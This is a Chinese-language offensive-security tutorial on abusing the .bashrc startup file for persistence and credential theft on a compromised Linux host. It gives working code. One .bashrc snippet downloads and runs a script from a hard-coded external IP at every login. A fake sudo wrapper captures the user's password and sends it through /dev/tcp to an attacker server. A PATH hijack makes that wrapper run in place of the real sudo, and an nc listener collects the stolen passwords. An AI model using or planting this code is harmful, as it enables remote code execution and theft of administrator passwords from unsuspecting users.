利用文件.bashrc提权

文件`.bashrc`是一个位于用户主目录的隐藏文件，用于存储用户的个性化设置。。

文件名末尾的 rc 最初是 ‘run commands’ 的缩写。但现在许多人认为当作‘run control’的缩写更合适。

我们可以在里面设置环境路径、程序的别名、运行提示符等。该文件在生成交互式BASH SHELL的时候会被读取。因此，我们也可以在该文件中执行一些初始化的程序。

一、用来执行命令

我们在文件`.bashrc`中添加如下命令：

```
echo "I'm tirggered."
```

> 当用户登录的时候就会触发该命令，并显示这行文字。当然，在生成新的bash SHELL时，该命令同样会被触发。

二、用来执行程序

既然如此，我们在渗透进系统之后也可以利用该特性执行一些命令。接下来我们利用该特性，让用户在登录的时候从远程下载程序并执行。

- 首先在远程的服务器中准备一个文件`rainbow.sh`。并启动`python3`的`http`服务器模块。将该服务运行于端口8888。

  ```
  python3 -m http.server 8888
  ```

- 在靶机的`.bashrc`文件中添加以下命令，用以将远程服务器中的程序下载、赋权、执行。

```
if [ -x '/usr/bin/curl' ]
then
    echo "curl is installed."
    curl http://106.54.85.100:8888/rainbow.sh >  /tmp/rainbow.sh
2>/dev/null
    if [ -s '/tmp/rainbow.sh' ]
    then
        chmod +x /tmp/rainbow.sh && /tmp/rainbow.sh --rainbow "Program is
running."
    fi
fi
```

> 用户在登录或者在生成新的`BASH SHELL`时，会触发该命令。
>
> - 首先判断程序`curl`是否存在。
> - 若`curl`存在的话，调用`curl`命令从远程服务器中下载设置好的程序。
> - 下载之后对其赋予执行权限并执行。

三、用来获取sudo密码

既然我们可以让用户在登录的时候从远程下载程序并运行。我们就可以把这个程序替换为一个假的`sudo`命令，用来获取`sudo`密码。

- 首先我们需要在远程服务器中准备一个假的`sudo`程序。具体思路是设计一个程序作为中间人，获取`sudo`密码并转述命令。代码如下:

```
#!/bin/bash

/usr/bin/sudo -n true 2> /dev/null
if test $? -eq 0
then
    /usr/bin/sudo $@
else
    echo -n "[sudo] password for $USER: "
    read -s pwd
    echo
    echo "$pwd" | /usr/bin/sudo -S true 2> /dev/null

    if test $? -eq 1
    then
        distroName=$(awk -F= '/^NAME/{print tolower($2)}' /etc/*-release  |
tr -d '"')
        if test[ $distroName == *"centos"* || $distroName == *"red hat"* ]
        then
            echo "Sorry, try again."
        fi
        sudo $@
    else
        if test -x /usr/bin/curl
        then
            echo -e "sudo password is $pwd" > /dev/tcp/khdxs7.server/8889
        fi
        echo "$pwd" | /usr/bin/sudo -S $@
    fi
fi
```

- 在远程服务器监听端口`8889`，用以接收获得的密码。

```
nc -lvnp 8889
```

- 在靶机`.bashrc`文件中添加以下命令。

```
if [ -x '/usr/bin/curl' ]
then
    curl http://khdxs7.server:8888/sudo >/tmp/sudo 2>/dev/null
    if [ -s '/tmp/sudo' ]
    then
        chmod +x /tmp/sudo && export PATH=/tmp:$PATH
    else
        rm -f /tmp/sudo
    fi
fi
```

> 用户在登录或者在生成新的`BASH SHELL`时，会触发该命令。
>
> - 首先判断程序`curl`是否存在。
> - 若`curl`存在的话，调用`curl`命令从远程服务器中下载设置好的程序。
> - 判断是否下载成功（检查文件是否存在且至少有一个字符）。
> - 下载成功之后对其赋予执行权限并执行。
> - 将假的`sudo`程序添加到路径中。

这样一来，只要用户登录或者生成新的`BASH SHELL`，`sudo`程序就会被替换。用户一旦使用`sudo`来执行命令，密码就会被发送到服务器的`8889`端口。

KHDXS7